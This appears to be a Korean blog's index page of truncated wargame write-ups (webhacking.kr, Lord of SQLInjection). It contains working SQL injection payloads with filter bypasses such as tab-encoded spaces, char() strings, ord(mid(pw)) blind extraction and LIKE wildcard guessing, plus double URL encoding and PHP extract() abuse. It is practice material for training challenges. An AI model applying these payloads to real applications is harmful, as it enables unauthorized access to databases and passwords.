(webhacking.kr) 24번 풀이. 그리고 의문/해결!
·
Play/wargame
소스코드를 보니 extract() 이라는 함수가 사용되고 있더라. 처음 보는 함수라서 검색해보니, 인자로 전달하는 배열 속의 키값을 변수화시켜준다고 한다. $arr[a] = 0 $arr[b] = 1 extract(arr) # 이렇게 하면 a=0, b=1 변수화 처음 보는 함수인지라, 이거로 푸는것같아서 검색해봤다. extract() 취약점 >> https://bbolmin.tistory.com/53 php extract()함수에 대하여 . .- extract()함수는 배열 속의 키값을 변수화 시켜주는 함수이다. 예를 들어 $a[x] = 111; $a[y] = 222; 에서 extract(a) 할 경우 x = 111, y = 222가 되는 것이다. -> 그러면 소스에 extract($_GET)이 있다면??..
(webhacking.kr) 26번 풀이
·
Play/wargame
대충, id = admin 줘야하는데 admin을 필터링한다. 그리고 id값 가져와서 urldecode() 함수로 돌려버린다. 대충.. 내가 뭔 함수를 써보려고 해도 함수 통으로 decode해버린다는 걸까? 1. 아무튼 admin urlencode() 돌린걸 넣어봤다. %61%64%6D%69%6E 자동으로 admin으로 변환되어 필터링에 걸린다. 2. 내 주특기이자 초필살기 더블 URL 인코딩 (MultiByte character sqli) 우효ww 더블 URL 인코딩이 뭐냐구요? 그냥 앞에 25 하나 더 붙이는겁니다. %25 = % %61 =a %2526 = %a
[dreamhack] lev1. mongo 풀이
·
Play/wargame
보호되어 있는 글입니다.
(webhacking.kr) 12번
·
Play/wargame
1. 개발자도구 F12 내 있는거 복붙할 때 Elements 탭에서 하지 말기. Source > (index) 에서 복붙하자. Elements에서 하면 잘린다. 2. https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html aadecode - Decode encoded-as-aaencode JavaScript program. ['_'] aadecode - Decode encoded-as-aaencode JavaScript program. (゚Д゚) ['_'] Enter ... cat-in-136.github.io 디코드 결과 var enco=''; var enco2=126; var enco3=33; var ck=docume..
[LOS] Load of SqlInjection 15번 풀이
·
Play/wargame
los에서 나온 새로운 유형이라 당황했다. 1. LIKE 절의 와일드 문자는 두개 % 과 _ 게스트 필요없는데... '_' 와일드문자를 통해 pw가 몇글자인지 찾아보자. 8글자네. 2. 사실 pw에 이것저것 넣어봐서 어떤 문자가 들어가는지 확인해봤다 (노가다) 0 1 2 3 8 e D d E 그리고 ?pw=8%, ?pw=%0 통해서 첫글자와 마지막글자가 8,0이라는 것을 알게되었다. 그럼 8 _ _ _ _ _ _ 0 3. 노가다로 대입하기 8 3 2 _ _ _ 0 어라 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 어라? 다른 사람은 어떻게 풀었는지 궁금해서 찾아봤다. 나처럼 모든 가능한 문자열을 찾은 것이 아니라.. ?pw={}% 앞에서부터 하나씩 찾아가며 푼다. 그러니까 ?pw=8% ?pw=83% ?pw=..
[LOS] Load of SQLInjection 13번 풀이
·
Play/wargame
1. 공백 필터링 = 필터링 ' 필터링 or and substr ascii like 필터링 2. 그럼 해당 코드에서 hello admin 출력하기 위해서 뭘 입력해야 하는가? ?no=1||id%09in%09(char(97,100,109,105,110))&&1%09in%09(1)%09%23 3. pw 길이를 알아내자. ?no=1||id%09in%09(char(97,100,109,105,110))%26%26length(pw)%09in%09(8)%23 - &가 안먹혀서 %26으로 입력함. - 노가다로 풀이 예정 4. ?no=1||id%09in%09(char(97,100,109,105,110))%26%26ord(mid(pw,1,1))>60%23 ord 함수 필터링 당했다. or 필터링 때문인가? 갑자기 화가난다..
[LOS] Load of SQLInjection 12번 풀이
·
Play/wargame
아무리 봐도 pw보단 no에 넣는게 나을듯. 이유는 pw에 넣으려면 '로 닫아주던가 해야하는데.. 필터링임 그런데 no는 숫자가 들어가서 쿼터 필요없음. ?no=0 or 1 in (1) > Hello guest 먹히는 것 확인. 이제 pw에 대해서 찾아볼건데.. 우리는 admin의 pw가 필요함. 싱글쿼터가 필터링됨을 항상 인지하자. ?no=0 or length(pw) in (8) > Hello guest가 나올 줄 알았는데 Hello admin 출력된다. 왜지 > 이유를 알 수 없다. 누구 아시는 분 댓글좀 주십쇼... 계속 풀어보자. no에서 substr와 ascii가 필터링. 이를 대체할 다른 함수 사용 ?no=0 or ord(mid(pw,1,1)) id in (char(97,100,109,105,..
[LOS] Load of SQLInjection 10번
·
Play/wargame
- OR연산자인 수직선 | 필터링 → URL인코딩하면 %7c - 같다 = 필터링 → 컬럼 in ('admin') - 패스워드를 알아내야 한다. ?pw=%27%7c%7cid%20in%20(%27admin%27)%23 하면 admin로그인은 가능. pw를 알아내기 위해.. 블라인드 sql injection 할 것이다. 위 쿼리에 && 1 in (1)과 && 1 in (2) 넣으면 두 결과가 다른 것 확인 가능. 이제 해보자.. 1. pw 길이 알아내기 length(pw) in (1) ~ length(pw) in (n) 반복 n=8 ?pw=%27%7c%7cid%20in%20(%27admin%27)%26%26length(pw)%20in%20(8)%23 2. 코드 작성 - 집에서하자 업무컴으로 암것도 안됨 imp..